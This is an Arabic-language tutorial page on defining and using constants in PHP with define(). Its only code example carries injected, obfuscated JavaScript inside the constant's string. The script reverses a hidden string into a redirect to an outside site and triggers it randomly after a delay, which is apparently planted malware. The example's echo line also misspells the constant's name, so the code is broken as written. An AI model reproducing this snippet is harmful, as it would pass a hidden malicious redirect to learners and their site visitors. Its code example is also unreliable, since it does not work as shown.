الثوابت وطرق استخدامها في لغة PHP
السلام عليكم ورحمة الله وبركاته، في هذا الدرس سيكون شرحنا عن استخدام الثوابت في لغة PHP . وقد تم شرح المتغيرات في PHP وبعد قراءة الدرس سوف نستنتج الفرق بين المتغيرات والثوابت وكيفية استخدامها.
ماهي الثوابت ‘Constants’ ؟
هي تشبة المتغيرات ولكن الفرق يتم تعريفها مره واحدة ولايمكن تغير القيمة بعد إنشائها حيث تحتوي على قيم ثابتة بداخلها يُمكن وضع أي شيء . وقد تتسأل متى نستخدم الثوابت إليك مثال بسيط يوضح ذلك لنفترض تريد إضافة تاريخ ميلادك وقيمة تاريخ ميلادك لايمكن تغيرها مع الوقت بعكس اذا أردت إضافة عمرك وهي قيمة غير ثابتة مع الوقت سيتغير.
طريقة استخدامها :’Constants’ ؟
لأنشاء كونستانت نستخدم دالة define() وبناء الجملة كالتالي :
define(name, value) //داخل الباراميتر يتم تعريف اسم وقيمة الكونستانت
يمكنك كتابة الكود بالشكل التالي :
<?php define("abjjadev", "Welcome <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to abjjadev.com!"); echo abjaadev; ?>